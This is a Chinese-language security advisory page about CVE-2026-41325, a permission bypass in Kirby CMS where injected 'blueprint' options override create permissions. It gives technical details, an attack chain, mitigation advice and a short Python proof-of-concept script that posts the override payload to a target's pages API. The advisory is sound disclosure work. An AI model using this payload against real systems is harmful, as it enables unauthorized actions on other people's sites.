IPBUF安全漏洞报告
English
CVE-2026-41325 CVSS 8.8 高危

CVE-2026-41325 Kirby CMS权限绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41325
漏洞类型
权限绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kirby CMS

相关标签

权限绕过Kirby CMSCVE-2026-41325权限提升配置注入

漏洞概述

Kirby CMS在4.9.0和5.4.0版本之前存在严重的权限绕过漏洞。当用户尝试创建页面、文件或用户时,系统未能正确过滤输入数据,允许攻击者注入自定义的动态蓝图配置。这导致原本用于限制操作的权限选项被恶意覆盖,使低权限用户得以绕过安全策略,执行未授权的创建操作,系统面临极高的安全风险。

技术细节

该漏洞的核心在于Kirby CMS对模型数据中的`blueprint`属性处理不当。在受影响版本中,系统在执行创建操作(如页面、文件、用户)时,会解析请求中的模型数据以确定权限。正常情况下,权限由用户蓝图和目标模型蓝图中的`options`严格定义。然而,攻击者可以在发送创建请求时,构造包含恶意`blueprint`字段的数据包。例如,通过在请求体中注入`{'options': {'create': true}}`,系统在规范化处理阶段会优先采纳这些注入的配置,而不是使用开发者预设的蓝图选项。由于缺乏对`blueprint`属性的过滤,这种动态配置覆盖了原有的权限检查机制(如`pages.create`),从而实现了权限提升。修复版本通过在规范化代码中增加针对`blueprint`属性的过滤器,阻止了此类动态配置的注入。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统使用的是存在漏洞的Kirby CMS版本(< 4.9.0 或 < 5.4.0)。
STEP 2
步骤2
攻击者获取一个低权限的合法账户(满足PR:L要求)。
STEP 3
步骤3
攻击者向创建页面、文件或用户的API端点发送特制的HTTP POST请求,在请求体中注入包含恶意`options`的`blueprint`数据。
STEP 4
步骤4
服务器处理请求时,规范化逻辑未能过滤`blueprint`属性,导致恶意配置覆盖了原有权限设置。
STEP 5
步骤5
系统误认为攻击者拥有创建权限,执行了创建操作,导致权限绕过成功。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target vulnerable Kirby CMS instance target_url = "http://target-site.com/api/pages" # Attacker's session with low privileges cookies = { "kirby_session": "low_privilege_session_token" } # Malicious payload injecting blueprint options to override permissions # This payload attempts to force the 'create' option to true payload = { "title": "Malicious Page", "blueprint": { "options": { "create": True # Override permission check } } } try: response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("Exploit successful: Page created despite insufficient permissions.") else: print(f"Exploit failed: Status code {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Kirby < 4.9.0
Kirby < 5.4.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时限制低权限用户对内容创建接口的访问,或通过Web应用防火墙(WAF)检测并拦截包含异常blueprint参数的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表